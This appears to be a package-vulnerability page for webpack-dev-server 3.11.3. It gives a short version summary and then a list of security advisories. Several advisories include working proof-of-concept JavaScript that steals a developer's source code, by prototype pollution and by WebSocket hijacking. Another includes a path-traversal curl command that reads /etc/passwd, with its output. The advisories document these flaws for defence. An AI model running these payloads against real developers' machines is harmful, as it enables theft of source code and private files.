Webpack Dev Server experienced a minor update from version 3.11.2 to 3.11.3, bringing a few notable changes for developers leveraging this tool in their webpack workflows. The primary difference lies within the dependencies. Version 3.11.3 replaces "ansi-html" with "ansi-html-community". This swap likely addresses compatibility, security, or maintenance concerns within the ansi-html package itself, offering a more robust and actively maintained alternative. No other dependencies experienced version updates. Despite this change, the core functionality of webpack-dev-server remains consistent, providing the same seamless experience for automatically updating browsers during development as changes are made to your webpack application. If you are concerned about compatibility and potential security vulnerabilities, updating to webpack-dev-server 3.11.3 may be a good choice for your build setup. Both versions maintain the same peer dependencies on webpack 4 or 5, ensuring compatibility with a wide range of webpack projects. While unpacked size and file numbers may vary between the two versions, the file difference is small and unlikely to influence a developer's usage. The core functionalities for serving a webpack app and updating the browser remain the same. Version 3.11.3 aims mostly at compatibility and the internal maintenance of the project.
All the vulnerabilities related to the version 3.11.3 of the package
webpack-dev-server users' source code may be stolen when they access a malicious web site
Source code may be stolen when you access a malicious web site.
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables.
By using Function::toString against the values in __webpack_modules__, the attacker can get the source code.
npm inpx webpack-dev-serverhttps://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/The script in the POC site is:
let moduleList
const onHandlerSet = (handler) => {
console.log('h', handler)
moduleList = handler.require.m
}
const originalArrayForEach = Array.prototype.forEach
Array.prototype.forEach = function forEach(callback, thisArg) {
callback((handler) => {
onHandlerSet(handler)
})
originalArrayForEach.call(this, callback, thisArg)
Array.prototype.forEach = originalArrayForEach
}
const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
console.log(moduleList)
for (const key in moduleList) {
const p = document.createElement('p')
const title = document.createElement('strong')
title.textContent = key
const code = document.createElement('code')
code.textContent = moduleList[key].toString()
p.append(title, ':', document.createElement('br'), code)
document.body.appendChild(p)
}
})
document.head.appendChild(script)
This script uses the function generated by renderRequire.
// The require function
function __webpack_require__(moduleId) {
// Check if module is in cache
var cachedModule = __webpack_module_cache__[moduleId];
if (cachedModule !== undefined) {
return cachedModule.exports;
}
// Create a new module (and put it into the cache)
var module = __webpack_module_cache__[moduleId] = {
// no module.id needed
// no module.loaded needed
exports: {}
};
// Execute the module function
var execOptions = {
id: moduleId,
module: module,
factory: __webpack_modules__[moduleId],
require: __webpack_require__
};
__webpack_require__.i.forEach(function(handler) {
handler(execOptions);
});
module = execOptions.module;
execOptions.factory.call(module.exports, module, module.exports, execOptions.require);
// Return the exports of the module
return module.exports;
}
Especially, it uses the fact that Array::forEach is called for __webpack_require__.i and execOptions contains __webpack_require__.
It uses prototype pollution against Array::forEach to extract __webpack_require__ reference.
This vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script.
<details> <summary>Old content</summary>Source code may be stolen when you use output.iife: false and access a malicious web site.
When output.iife: false is set, some global variables for the webpack runtime are declared on the window object (e.g. __webpack_modules__).
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. By running that, the webpack runtime variables will be declared on the window object.
By using Function::toString against the values in __webpack_modules__, the attacker can get the source code.
I pointed out output.iife: false, but if there are other options that makes the webpack runtime variables to be declared on the window object, the same will apply for those cases.
npm inpx webpack-dev-serverhttps://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/src/index.js and other scripts loaded.The script in the POC site is:
const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
for (const module in window.__webpack_modules__) {
console.log(`${module}:`, window.__webpack_modules__[module].toString())
}
})
document.head.appendChild(script)
This vulnerability can result in the source code to be stolen for users that has output.iife: false option set and uses a predictable port and output path for the entrypoint script.
webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser
Source code may be stolen when you access a malicious web site with non-Chromium based browser.
The Origin header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732.
But webpack-dev-server always allows IP address Origin headers.
https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127
This allows websites that are served on IP addresses to connect WebSocket.
By using the same method described in the article linked from CVE-2018-14732, the attacker get the source code.
related commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that checkHost function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.
This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to the non-HTTPS private access blocking feature.
npm inpx webpack-dev-serverhttp://{ipaddress}/?target=http://localhost:8080&file=main with a non-Chromium browser (I used Firefox 134.0.1)src/index.js in the extracted directorysrc/index.jsThe script in the POC site is:
window.webpackHotUpdate = (...args) => {
console.log(...args);
for (i in args[1]) {
document.body.innerText = args[1][i].toString() + document.body.innerText
console.log(args[1][i])
}
}
let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let file = params.get('file')
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
var currentHash2 = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
console.log(event.data);
if (event.data.match('"type":"ok"')) {
s = document.createElement('script');
s.src = `${target}${file}.${currentHash2}.hot-update.js`;
document.body.appendChild(s)
}
r = event.data.match(/"([0-9a-f]{20})"/);
if (r !== null) {
currentHash2 = currentHash;
currentHash = r[1];
console.log(currentHash, currentHash2);
}
}
This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.
ip SSRF improper categorization in isPublic
The ip package through 2.0.1 for Node.js might allow SSRF because some IP addresses (such as 127.1, 01200034567, 012.1.2.3, 000:0:0000::01, and ::fFFf:127.0.0.1) are improperly categorized as globally routable via isPublic. NOTE: this issue exists because of an incomplete fix for CVE-2023-42282.
Uncontrolled resource consumption in braces
The NPM package braces fails to limit the number of characters it can handle, which could lead to Memory Exhaustion. In lib/parse.js, if a malicious user sends "imbalanced braces" as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.
Prototype Pollution in node-forge debug API.
The forge.debug API had a potential prototype pollution issue if called with untrusted input. The API was only used for internal debug purposes in a safe way and never documented or advertised. It is suspected that uses of this API, if any exist, would likely not have used untrusted inputs in a vulnerable way.
The forge.debug API and related functions were removed in 1.0.0.
Don't use the forge.debug API directly or indirectly with untrusted input.
If you have any questions or comments about this advisory:
Open Redirect in node-forge
parseUrl functionality in node-forge mishandles certain uses of backslash such as https:/\/\/\ and interprets the URI as a relative path.
URL parsing in node-forge could lead to undesired behavior.
The regex used for the forge.util.parseUrl API would not properly parse certain inputs resulting in a parsed data structure that could lead to undesired behavior.
forge.util.parseUrl and other very old related URL APIs were removed in 1.0.0 in favor of letting applications use the more modern WHATWG URL Standard API.
Ensure code does not directly or indirectly call forge.util.parseUrl with untrusted input.
If you have any questions or comments about this advisory:
Improper Verification of Cryptographic Signature in node-forge
RSA PKCS#1 v1.5 signature verification code is not properly checking DigestInfo for a proper ASN.1 structure. This can lead to successful verification with signatures that contain invalid structures but a valid digest.
The issue has been addressed in node-forge 1.3.0.
If you have any questions or comments about this advisory:
Improper Verification of Cryptographic Signature in node-forge
RSA PKCS#1 v1.5 signature verification code is lenient in checking the digest algorithm structure. This can allow a crafted structure that steals padding bytes and uses unchecked portion of the PKCS#1 encoded message to forge a signature when a low public exponent is being used.
The issue has been addressed in node-forge 1.3.0.
For more information, please see "Bleichenbacher's RSA signature forgery based on implementation error" by Hal Finney.
If you have any questions or comments about this advisory:
Improper Verification of Cryptographic Signature in node-forge
RSA PKCS#1 v1.5 signature verification code does not check for tailing garbage bytes after decoding a DigestInfo ASN.1 structure. This can allow padding bytes to be removed and garbage data added to forge a signature when a low public exponent is being used.
The issue has been addressed in node-forge 1.3.0.
For more information, please see "Bleichenbacher's RSA signature forgery based on implementation error" by Hal Finney.
If you have any questions or comments about this advisory:
Denial of service in http-proxy-middleware
Versions of the package http-proxy-middleware before 2.0.7, from 3.0.0 and before 3.0.3 are vulnerable to Denial of Service (DoS) due to an UnhandledPromiseRejection error thrown by micromatch. An attacker could kill the Node.js process and crash the server by making requests to certain paths.
Regular Expression Denial of Service (ReDoS) in micromatch
The NPM package micromatch prior to version 4.0.8 is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs in micromatch.braces() in index.js because the pattern .* will greedily match anything. By passing a malicious payload, the pattern matching will keep backtracking to the input while it doesn't find the closing bracket. As the input size increases, the consumption time will also increase until it causes the application to hang or slow down. There was a merged fix but further testing shows the issue persisted prior to https://github.com/micromatch/micromatch/pull/266. This issue should be mitigated by using a safe pattern that won't start backtracking the regular expression due to greedy matching.
Path traversal in webpack-dev-middleware
The webpack-dev-middleware middleware does not validate the supplied URL address sufficiently before returning the local file. It is possible to access any file on the developer's machine.
The middleware can either work with the physical filesystem when reading the files or it can use a virtualized in-memory memfs filesystem. If writeToDisk configuration option is set to true, the physical filesystem is used: https://github.com/webpack/webpack-dev-middleware/blob/7ed24e0b9f53ad1562343f9f517f0f0ad2a70377/src/utils/setupOutputFileSystem.js#L21
The getFilenameFromUrl method is used to parse URL and build the local file path. The public path prefix is stripped from the URL, and the unsecaped path suffix is appended to the outputPath: https://github.com/webpack/webpack-dev-middleware/blob/7ed24e0b9f53ad1562343f9f517f0f0ad2a70377/src/utils/getFilenameFromUrl.js#L82 As the URL is not unescaped and normalized automatically before calling the midlleware, it is possible to use %2e and %2f sequences to perform path traversal attack.
A blank project can be created containing the following configuration file webpack.config.js:
module.exports = { devServer: { devMiddleware: { writeToDisk: true } } };
When started, it is possible to access any local file, e.g. /etc/passwd:
$ curl localhost:8080/public/..%2f..%2f..%2f..%2f../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
The developers using webpack-dev-server or webpack-dev-middleware are affected by the issue. When the project is started, an attacker might access any file on the developer's machine and exfiltrate the content (e.g. password, configuration files, private source code, ...).
If the development server is listening on a public IP address (or 0.0.0.0), an attacker on the local network can access the local files without any interaction from the victim (direct connection to the port).
If the server allows access from third-party domains (CORS, Allow-Access-Origin: * ), an attacker can send a malicious link to the victim. When visited, the client side script can connect to the local server and exfiltrate the local files.
The URL should be unescaped and normalized before any further processing.